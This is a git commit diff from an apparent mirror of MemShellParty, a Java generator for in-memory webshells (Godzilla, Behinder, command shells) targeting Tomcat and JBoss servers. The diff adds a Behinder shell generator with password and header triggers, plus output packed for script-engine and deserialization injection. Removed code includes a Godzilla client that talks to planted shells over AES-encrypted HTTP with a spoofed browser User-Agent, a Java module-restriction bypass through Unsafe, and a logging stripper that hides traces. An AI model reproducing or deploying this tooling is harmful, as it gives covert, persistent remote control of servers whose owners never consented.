mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: support behinder shell generate
This commit is contained in:
@@ -45,6 +45,7 @@ tasks.withType(JavaExec).configureEach {
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation project(":common")
|
||||
implementation project(":deserialize")
|
||||
implementation project(":memshell")
|
||||
implementation 'net.bytebuddy:byte-buddy:1.+'
|
||||
@@ -52,7 +53,6 @@ dependencies {
|
||||
implementation 'javax.websocket:javax.websocket-api:1.1'
|
||||
implementation 'org.java-websocket:Java-WebSocket:1.5.7'
|
||||
implementation 'jakarta.servlet:jakarta.servlet-api:5.0.0'
|
||||
// implementation fileTree('libs')
|
||||
implementation 'xalan:xalan:2.7.0'
|
||||
implementation 'org.apache.bcel:bcel:5.2'
|
||||
|
||||
@@ -62,6 +62,7 @@ dependencies {
|
||||
|
||||
implementation 'com.squareup.okhttp3:okhttp:4.+'
|
||||
implementation 'ch.qos.logback:logback-classic:1.+'
|
||||
implementation 'com.alibaba.fastjson2:fastjson2:2.0.53'
|
||||
|
||||
implementation('org.apache.tomcat:tomcat-catalina:8.5.58') {
|
||||
exclude group: 'org.apache.tomcat', module: 'tomcat-api'
|
||||
|
||||
@@ -1,15 +1,18 @@
|
||||
package com.reajason.javaweb;
|
||||
|
||||
import com.reajason.javaweb.config.*;
|
||||
import com.reajason.javaweb.memshell.AbstractShell;
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.util.CommonUtil;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
import java.nio.file.StandardOpenOption;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -19,8 +22,8 @@ public class GeneratorMain {
|
||||
|
||||
public static void main(String[] args) throws IOException {
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(Server.Tomcat)
|
||||
.shellTool(ShellTool.Command)
|
||||
.server(Server.JBossAS)
|
||||
.shellTool(ShellTool.Behinder)
|
||||
.shellType(Constants.FILTER)
|
||||
.targetJreVersion(Opcodes.V1_6)
|
||||
.debug(true)
|
||||
@@ -30,14 +33,21 @@ public class GeneratorMain {
|
||||
.key("key")
|
||||
.headerName("User-Agent")
|
||||
.headerValue("test123").build();
|
||||
CommandConfig commandConfig = CommandConfig.builder().paramName("cmd").build();
|
||||
CommandConfig commandConfig = CommandConfig.builder().paramName("listener").build();
|
||||
|
||||
BehinderConfig behinderConfig = BehinderConfig.builder()
|
||||
.pass("test123")
|
||||
.headerName("User-Agent")
|
||||
.headerValue("test").build();
|
||||
|
||||
InjectorConfig injectorConfig = new InjectorConfig();
|
||||
GenerateResult generateResult = generate(shellConfig, injectorConfig, commandConfig);
|
||||
|
||||
GenerateResult generateResult = generate(shellConfig, injectorConfig, behinderConfig);
|
||||
if (generateResult != null) {
|
||||
// Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
|
||||
// Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
|
||||
System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
|
||||
System.out.println(Packer.INSTANCE.ScriptEngine.getPacker().pack(generateResult));
|
||||
System.out.println(Packer.INSTANCE.Deserialize.getPacker().pack(generateResult));
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,56 +0,0 @@
|
||||
package com.reajason.javaweb.buddy;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.isTypeInitializer;
|
||||
|
||||
/**
|
||||
* JDK9 引入的 module 系统,只有主动声明 exports 的才能被外部访问。当前用于打破 module 的限制,使我们能像低版本一样任意反射获取方法
|
||||
*
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class ByPassJavaModuleInterceptor {
|
||||
@Advice.OnMethodEnter
|
||||
public static void enter(@Advice.Origin Class<?> clazz) {
|
||||
try {
|
||||
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||
unsafeField.setAccessible(true);
|
||||
Object unsafe = unsafeField.get(null);
|
||||
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
|
||||
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
|
||||
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
|
||||
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
|
||||
getAndSetObjectM.invoke(unsafe, clazz, offset, module);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Reference1: <a href="https://stackoverflow.com/questions/62664427/can-i-create-a-bytebuddy-instrumented-type-with-a-private-static-final-methodhan">stackoverflow</a>
|
||||
* Reference2: <a href="https://github.com/raphw/byte-buddy/issues/1153">issue</a>
|
||||
* <br>
|
||||
* 在静态代码块中执行 byPassJdkModule 代码
|
||||
* 值得注意的一点,builder 是不可变类型,所以都是需要重新赋值,例如以下代码示例
|
||||
* # code that not work
|
||||
* builder = new Bytebuddy().redefine(class);
|
||||
* builder.visit(something);
|
||||
* builder.make();
|
||||
* <br>
|
||||
* # code that work
|
||||
* <br>
|
||||
* builder = new Bytebuddy().redefine(class);
|
||||
* builder = builder.visit(something);
|
||||
* builder.make();
|
||||
*
|
||||
* @param builder bytebuddy builder
|
||||
* @return new builder with bypass
|
||||
*/
|
||||
public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
|
||||
return builder.visit(Advice.to(ByPassJavaModuleInterceptor.class)
|
||||
.on(isTypeInitializer()));
|
||||
}
|
||||
}
|
||||
@@ -1,66 +0,0 @@
|
||||
package com.reajason.javaweb.buddy;
|
||||
|
||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||
import net.bytebuddy.description.method.MethodDescription;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.Implementation;
|
||||
import net.bytebuddy.jar.asm.MethodVisitor;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
import net.bytebuddy.pool.TypePool;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.jetbrains.annotations.NotNull;
|
||||
|
||||
import static net.bytebuddy.jar.asm.Opcodes.INVOKEVIRTUAL;
|
||||
import static net.bytebuddy.jar.asm.Opcodes.POP;
|
||||
|
||||
/**
|
||||
* Debug 信息打印移除器
|
||||
* 目前仅支持移除以下几种
|
||||
* <br />
|
||||
* 1. System.out.println() - (printf 还不支持)
|
||||
* 2. e.printStackTrace()
|
||||
* 3. Logger.info (java.util)
|
||||
*
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class LogRemoveMethodVisitor implements AsmVisitorWrapper.ForDeclaredMethods.MethodVisitorWrapper {
|
||||
public static final LogRemoveMethodVisitor INSTANCE = new LogRemoveMethodVisitor();
|
||||
|
||||
public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
|
||||
return builder.visit(
|
||||
new AsmVisitorWrapper.ForDeclaredMethods()
|
||||
.method(ElementMatchers.any(), LogRemoveMethodVisitor.INSTANCE));
|
||||
}
|
||||
|
||||
@NotNull
|
||||
@Override
|
||||
public MethodVisitor wrap(@NotNull TypeDescription instrumentedType,
|
||||
@NotNull MethodDescription instrumentedMethod,
|
||||
@NotNull MethodVisitor methodVisitor,
|
||||
@NotNull Implementation.Context implementationContext,
|
||||
@NotNull TypePool typePool,
|
||||
int writerFlags,
|
||||
int readerFlags) {
|
||||
return new MethodVisitor(Opcodes.ASM9, methodVisitor) {
|
||||
@Override
|
||||
public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
|
||||
if ((opcode == INVOKEVIRTUAL && owner.equals("java/io/PrintStream") && name.equals("println"))
|
||||
|| (opcode == INVOKEVIRTUAL && owner.endsWith("Exception") && name.equals("printStackTrace"))
|
||||
|| (opcode == INVOKEVIRTUAL && owner.equals("java/util/logging/Logger") && (name.equals("info") || name.equals("warning")))
|
||||
) {
|
||||
String[] args = descriptor.substring(1, descriptor.indexOf(')')).split(";");
|
||||
for (String arg : args) {
|
||||
if (StringUtils.isNotBlank(arg)) {
|
||||
super.visitInsn(POP);
|
||||
}
|
||||
}
|
||||
super.visitInsn(POP);
|
||||
} else {
|
||||
super.visitMethodInsn(opcode, owner, name, descriptor, isInterface);
|
||||
}
|
||||
}
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -1,57 +0,0 @@
|
||||
package com.reajason.javaweb.buddy;
|
||||
|
||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||
import net.bytebuddy.description.field.FieldDescription;
|
||||
import net.bytebuddy.description.field.FieldList;
|
||||
import net.bytebuddy.description.method.MethodList;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.implementation.Implementation;
|
||||
import net.bytebuddy.jar.asm.ClassVisitor;
|
||||
import net.bytebuddy.jar.asm.commons.ClassRemapper;
|
||||
import net.bytebuddy.jar.asm.commons.Remapper;
|
||||
import net.bytebuddy.pool.TypePool;
|
||||
import org.jetbrains.annotations.NotNull;
|
||||
|
||||
/**
|
||||
* Servlet 包名替换,扫描包中所有 javax/servlet 将其替换成 jakarta/servlet。
|
||||
*
|
||||
* @author ReaJason
|
||||
* @since 2024/11/23
|
||||
*/
|
||||
public class ServletRenameVisitorWrapper implements AsmVisitorWrapper {
|
||||
public static ServletRenameVisitorWrapper INSTANCE = new ServletRenameVisitorWrapper();
|
||||
|
||||
@Override
|
||||
public int mergeReader(int flags) {
|
||||
return flags;
|
||||
}
|
||||
|
||||
@Override
|
||||
public int mergeWriter(int flags) {
|
||||
return flags;
|
||||
}
|
||||
|
||||
@NotNull
|
||||
@Override
|
||||
public ClassVisitor wrap(@NotNull TypeDescription instrumentedType,
|
||||
@NotNull ClassVisitor classVisitor,
|
||||
@NotNull Implementation.Context implementationContext,
|
||||
@NotNull TypePool typePool,
|
||||
@NotNull FieldList<FieldDescription.InDefinedShape> fields,
|
||||
@NotNull MethodList<?> methods,
|
||||
int writerFlags,
|
||||
int readerFlags) {
|
||||
return new ClassRemapper(
|
||||
classVisitor,
|
||||
new Remapper() {
|
||||
@Override
|
||||
public String map(String typeName) {
|
||||
if (typeName.startsWith("javax/servlet/")) {
|
||||
return typeName.replaceFirst("javax", "jakarta");
|
||||
} else {
|
||||
return typeName;
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
-59
@@ -1,59 +0,0 @@
|
||||
package com.reajason.javaweb.buddy;
|
||||
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||
import net.bytebuddy.description.field.FieldDescription;
|
||||
import net.bytebuddy.description.field.FieldList;
|
||||
import net.bytebuddy.description.method.MethodList;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.implementation.Implementation;
|
||||
import net.bytebuddy.jar.asm.ClassVisitor;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import net.bytebuddy.pool.TypePool;
|
||||
import net.bytebuddy.utility.nullability.MaybeNull;
|
||||
import org.jetbrains.annotations.NotNull;
|
||||
|
||||
/**
|
||||
* 通过 classVisitor 将 classFileVersion 改为指定 JDK 版本,用于 JDK8 的环境能生成任意 JDK 版本的字节码,默认使用 JDK6
|
||||
*
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class TargetJreVersionVisitorWrapper implements AsmVisitorWrapper {
|
||||
|
||||
public static final TargetJreVersionVisitorWrapper DEFAULT = new TargetJreVersionVisitorWrapper();
|
||||
|
||||
private final int targetJdkVersion;
|
||||
|
||||
public TargetJreVersionVisitorWrapper() {
|
||||
targetJdkVersion = Constants.DEFAULT_VERSION;
|
||||
}
|
||||
|
||||
public TargetJreVersionVisitorWrapper(int targetJdkVersion) {
|
||||
this.targetJdkVersion = targetJdkVersion;
|
||||
}
|
||||
|
||||
@Override
|
||||
public int mergeWriter(int flags) {
|
||||
return flags;
|
||||
}
|
||||
|
||||
@Override
|
||||
public int mergeReader(int flags) {
|
||||
return flags;
|
||||
}
|
||||
|
||||
|
||||
@NotNull
|
||||
@Override
|
||||
public ClassVisitor wrap(@NotNull TypeDescription instrumentedType,
|
||||
@NotNull ClassVisitor classVisitor, @NotNull Implementation.Context implementationContext,
|
||||
@NotNull TypePool typePool, @NotNull FieldList<FieldDescription.InDefinedShape> fields,
|
||||
@NotNull MethodList<?> methods, int writerFlags, int readerFlags) {
|
||||
return new ClassVisitor(Opcodes.ASM9, classVisitor) {
|
||||
@Override
|
||||
public void visit(int version, int modifiers, String name, @MaybeNull String signature, @MaybeNull String superClassName, @MaybeNull String[] interfaceName) {
|
||||
super.visit(targetJdkVersion, modifiers, name, signature, superClassName, interfaceName);
|
||||
}
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -1,290 +0,0 @@
|
||||
package com.reajason.javaweb.godzilla;
|
||||
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.GodzillaGenerator;
|
||||
import lombok.Getter;
|
||||
import lombok.Setter;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import okhttp3.*;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.apache.commons.codec.digest.DigestUtils;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import java.io.*;
|
||||
import java.net.URLDecoder;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
import java.util.zip.GZIPOutputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
@Getter
|
||||
@Setter
|
||||
public class GodzillaManager implements Closeable {
|
||||
private static final List<String> CLASS_NAMES;
|
||||
|
||||
static {
|
||||
InputStream classNamesStream = Objects.requireNonNull(GodzillaGenerator.class.getResourceAsStream("/godzillaShellClassNames.txt"));
|
||||
CLASS_NAMES = IOUtils.readLines(classNamesStream, "UTF-8");
|
||||
}
|
||||
|
||||
private final OkHttpClient client;
|
||||
private String cookie = "";
|
||||
private String entrypoint;
|
||||
private String key;
|
||||
private String pass;
|
||||
private String md5;
|
||||
private Request request;
|
||||
private Map<String, String> headers = new HashMap<>();
|
||||
|
||||
public GodzillaManager() {
|
||||
this.client = new OkHttpClient.Builder().build();
|
||||
}
|
||||
|
||||
public static Pair<String, String> getKeyMd5(String key, String pass) {
|
||||
String md5Key = DigestUtils.md5Hex(key).substring(0, 16);
|
||||
String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase();
|
||||
return Pair.of(md5Key, md5);
|
||||
}
|
||||
|
||||
public static GodzillaManagerBuilder builder() {
|
||||
return new GodzillaManagerBuilder();
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static byte[] generateGodzilla() {
|
||||
Random random = new Random();
|
||||
String className = CLASS_NAMES.get(random.nextInt(CLASS_NAMES.size()));
|
||||
try (DynamicType.Unloaded<?> make = new ByteBuddy()
|
||||
.redefine(Payload.class)
|
||||
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
|
||||
.name(className)
|
||||
.make()) {
|
||||
return make.getBytes();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* AES 加解密
|
||||
*
|
||||
* @param bytes 加解密的字符串字节数组
|
||||
* @param encoding 是否为加密,true 为加密,false 解密
|
||||
* @return 返回加解密后的字节数组
|
||||
*/
|
||||
public static byte[] aes(String key, byte[] bytes, boolean encoding) {
|
||||
try {
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(encoding ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(bytes);
|
||||
} catch (Exception e) {
|
||||
return new byte[0];
|
||||
}
|
||||
}
|
||||
|
||||
private static boolean isValidResponse(String response, String md5) {
|
||||
if (StringUtils.isEmpty(response)) {
|
||||
return false;
|
||||
}
|
||||
if (response.length() < 32) {
|
||||
return false;
|
||||
}
|
||||
return response.contains(md5.substring(0, 16)) && response.trim().contains(md5.substring(16));
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static String getResultFromRes(String responseBody, String key, String md5) {
|
||||
if (!isValidResponse(responseBody, md5)) {
|
||||
return responseBody;
|
||||
}
|
||||
int lastIndex = responseBody.indexOf(md5.substring(16));
|
||||
String result = responseBody.substring(16);
|
||||
result = result.substring(0, lastIndex);
|
||||
byte[] bytes = Base64.decodeBase64(result);
|
||||
byte[] x = aes(key, bytes, false);
|
||||
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x));
|
||||
return IOUtils.toString(gzipInputStream, StandardCharsets.UTF_8);
|
||||
}
|
||||
|
||||
public static Map<String, String> restorePayload(String key, String payload) {
|
||||
String p = payload;
|
||||
try {
|
||||
String urlDecoded = URLDecoder.decode(payload, "UTF-8");
|
||||
if (StringUtils.isNoneBlank(urlDecoded)) {
|
||||
p = urlDecoded;
|
||||
}
|
||||
} catch (UnsupportedEncodingException ignored) {
|
||||
|
||||
}
|
||||
Map<String, String> map = new HashMap<>();
|
||||
byte[] bytes = Base64.decodeBase64(p);
|
||||
byte[] x = aes(key, bytes, false);
|
||||
ByteArrayInputStream tStream = new ByteArrayInputStream(x);
|
||||
ByteArrayOutputStream tp = new ByteArrayOutputStream();
|
||||
byte[] lenB = new byte[4];
|
||||
int read;
|
||||
try {
|
||||
GZIPInputStream inputStream = new GZIPInputStream(tStream);
|
||||
while (true) {
|
||||
byte t = (byte) inputStream.read();
|
||||
if (t != -1) {
|
||||
if (t == 2) {
|
||||
String dataKey = tp.toString();
|
||||
inputStream.read(lenB);
|
||||
int len = bytesToInt(lenB);
|
||||
byte[] data = new byte[len];
|
||||
int readOneLen = 0;
|
||||
do {
|
||||
read = readOneLen + inputStream.read(data, readOneLen, data.length - readOneLen);
|
||||
readOneLen = read;
|
||||
} while (read < data.length);
|
||||
map.put(dataKey, new String(data));
|
||||
tp.reset();
|
||||
} else {
|
||||
tp.write(t);
|
||||
}
|
||||
} else {
|
||||
tp.close();
|
||||
tStream.close();
|
||||
inputStream.close();
|
||||
break;
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return map;
|
||||
}
|
||||
|
||||
public static int bytesToInt(byte[] bytes) {
|
||||
return (bytes[0] & 255) | ((bytes[1] & 255) << 8) | ((bytes[2] & 255) << 16) | ((bytes[3] & 255) << 24);
|
||||
}
|
||||
|
||||
public static byte[] intToBytes(int value) {
|
||||
return new byte[]{(byte) (value & 255), (byte) ((value >> 8) & 255), (byte) ((value >> 16) & 255), (byte) ((value >> 24) & 255)};
|
||||
}
|
||||
|
||||
private Response post(byte[] bytes) throws IOException {
|
||||
byte[] aes = aes(this.key, bytes, true);
|
||||
String base64String = Base64.encodeBase64String(aes);
|
||||
RequestBody requestBody = new FormBody.Builder()
|
||||
.add(this.pass, base64String)
|
||||
.build();
|
||||
Request.Builder builder = new Request.Builder()
|
||||
.url(this.entrypoint)
|
||||
.post(requestBody)
|
||||
.headers(Headers.of(this.headers));
|
||||
if (StringUtils.isNotBlank(cookie)) {
|
||||
builder.header("Cookie", cookie);
|
||||
}
|
||||
return client.newCall(builder.build()).execute();
|
||||
}
|
||||
|
||||
public boolean start() {
|
||||
byte[] bytes = generateGodzilla();
|
||||
try (Response response = post(bytes)) {
|
||||
String setCookie = response.header("Set-Cookie");
|
||||
if (setCookie != null && setCookie.contains("JSESSIONID=")) {
|
||||
cookie = setCookie.substring(setCookie.indexOf("JSESSIONID="), setCookie.indexOf(";"));
|
||||
}
|
||||
if (response.isSuccessful()) {
|
||||
return true;
|
||||
}
|
||||
System.out.println(response.body().string().trim());
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
public boolean test() {
|
||||
byte[] bytes = generateMethodCallBytes("test");
|
||||
try (Response response = post(bytes)) {
|
||||
if (response.isSuccessful()) {
|
||||
ResponseBody body = response.body();
|
||||
if (body != null) {
|
||||
String resultFromRes = getResultFromRes(body.string(), this.key, this.md5);
|
||||
System.out.println(resultFromRes);
|
||||
return "ok".equals(resultFromRes);
|
||||
}
|
||||
}
|
||||
return false;
|
||||
} catch (IOException e) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void close() throws IOException {
|
||||
byte[] bytes = generateMethodCallBytes("close");
|
||||
try (Response response = post(bytes)) {
|
||||
if (response.isSuccessful()) {
|
||||
response.body();
|
||||
}
|
||||
} catch (IOException ignore) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private byte[] generateMethodCallBytes(String methodName) {
|
||||
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
|
||||
try (GZIPOutputStream gzipOutputStream = new GZIPOutputStream(byteArrayOutputStream);) {
|
||||
byte[] value = methodName.getBytes();
|
||||
gzipOutputStream.write("methodName".getBytes());
|
||||
gzipOutputStream.write(2);
|
||||
gzipOutputStream.write(intToBytes(value.length));
|
||||
gzipOutputStream.write(value);
|
||||
}
|
||||
return byteArrayOutputStream.toByteArray();
|
||||
}
|
||||
|
||||
public static class GodzillaManagerBuilder {
|
||||
private final Map<String, String> headers = new HashMap<>();
|
||||
private String entrypoint;
|
||||
private String key;
|
||||
private String pass;
|
||||
|
||||
public GodzillaManagerBuilder entrypoint(String entrypoint) {
|
||||
this.entrypoint = entrypoint;
|
||||
return this;
|
||||
}
|
||||
|
||||
public GodzillaManagerBuilder key(String key) {
|
||||
this.key = key;
|
||||
return this;
|
||||
}
|
||||
|
||||
public GodzillaManagerBuilder pass(String pass) {
|
||||
this.pass = pass;
|
||||
return this;
|
||||
}
|
||||
|
||||
public GodzillaManagerBuilder header(String key, String value) {
|
||||
this.headers.put(key, value);
|
||||
return this;
|
||||
}
|
||||
|
||||
public GodzillaManager build() {
|
||||
GodzillaManager manager = new GodzillaManager();
|
||||
manager.setEntrypoint(entrypoint);
|
||||
manager.setPass(pass);
|
||||
Pair<String, String> keyMd5 = getKeyMd5(key, pass);
|
||||
manager.setKey(keyMd5.getLeft());
|
||||
manager.setMd5(keyMd5.getRight());
|
||||
Map<String, String> headers = new HashMap<>(16);
|
||||
headers.put("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0");
|
||||
headers.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
|
||||
headers.put("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2");
|
||||
headers.putAll(this.headers);
|
||||
manager.setHeaders(headers);
|
||||
return manager;
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.config.*;
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.Collections;
|
||||
@@ -31,6 +31,7 @@ public abstract class AbstractShell {
|
||||
return switch (tool) {
|
||||
case Godzilla -> getGodzillaShellMap().keySet().stream().sorted().toList();
|
||||
case Command -> getCommandShellMap().keySet().stream().sorted().toList();
|
||||
case Behinder -> getBehinderShellMap().keySet().stream().sorted().toList();
|
||||
default -> Collections.emptyList();
|
||||
};
|
||||
}
|
||||
@@ -82,28 +83,23 @@ public abstract class AbstractShell {
|
||||
.build();
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取 Godzilla 注入生成类 Map
|
||||
*
|
||||
* @return shellType -> shellClass,injectorClass
|
||||
*/
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
return Collections.emptyMap();
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取 Command 注入生成类 Map
|
||||
*
|
||||
* @return shellType -> shellClass,injectorClass
|
||||
*/
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
return Collections.emptyMap();
|
||||
}
|
||||
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||
return Collections.emptyMap();
|
||||
}
|
||||
|
||||
private Pair<Class<?>, Class<?>> getShellInjectorPair(ShellTool shellTool, String shellType) {
|
||||
Map<String, Pair<Class<?>, Class<?>>> shellMap = switch (shellTool) {
|
||||
case Godzilla -> getGodzillaShellMap();
|
||||
case Command -> getCommandShellMap();
|
||||
case Behinder -> getBehinderShellMap();
|
||||
default -> Collections.emptyMap();
|
||||
};
|
||||
return shellMap.get(shellType);
|
||||
@@ -113,6 +109,7 @@ public abstract class AbstractShell {
|
||||
return switch (shellConfig.getShellTool()) {
|
||||
case Godzilla -> new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
|
||||
case Command -> CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
|
||||
case Behinder -> new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
|
||||
default -> throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
|
||||
};
|
||||
}
|
||||
|
||||
@@ -0,0 +1,64 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.config.BehinderConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FieldAccessor;
|
||||
import net.bytebuddy.implementation.SuperMethodCall;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
import org.apache.commons.codec.digest.DigestUtils;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
public class BehinderGenerator {
|
||||
private final ShellConfig shellConfig;
|
||||
private final BehinderConfig behinderConfig;
|
||||
|
||||
public BehinderGenerator(ShellConfig shellConfig, BehinderConfig behinderConfig) {
|
||||
this.shellConfig = shellConfig;
|
||||
this.behinderConfig = behinderConfig;
|
||||
}
|
||||
|
||||
public DynamicType.Builder<?> getBuilder() {
|
||||
if (behinderConfig.getShellClass() == null) {
|
||||
throw new IllegalArgumentException("godzillaConfig.getClazz() == null");
|
||||
}
|
||||
if (StringUtils.isBlank(behinderConfig.getPass())) {
|
||||
throw new IllegalArgumentException("behinderConfig.getPass().isBlank()");
|
||||
}
|
||||
String md5Key = DigestUtils.md5Hex(behinderConfig.getPass()).substring(0, 16);
|
||||
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(behinderConfig.getShellClass())
|
||||
.name(behinderConfig.getShellClassName())
|
||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
||||
.constructor(ElementMatchers.any())
|
||||
.intercept(SuperMethodCall.INSTANCE
|
||||
.andThen(FieldAccessor.ofField("pass").setsValue(md5Key))
|
||||
.andThen(FieldAccessor.ofField("headerName").setsValue(behinderConfig.getHeaderName()))
|
||||
.andThen(FieldAccessor.ofField("headerValue").setsValue(behinderConfig.getHeaderValue())));
|
||||
|
||||
if (shellConfig.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
|
||||
if (shellConfig.isDebugOff()) {
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
return builder;
|
||||
}
|
||||
|
||||
public byte[] getBytes() {
|
||||
DynamicType.Builder<?> builder = getBuilder();
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return make.getBytes();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -3,8 +3,8 @@ package com.reajason.javaweb.memshell;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.config.CommandConfig;
|
||||
import com.reajason.javaweb.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
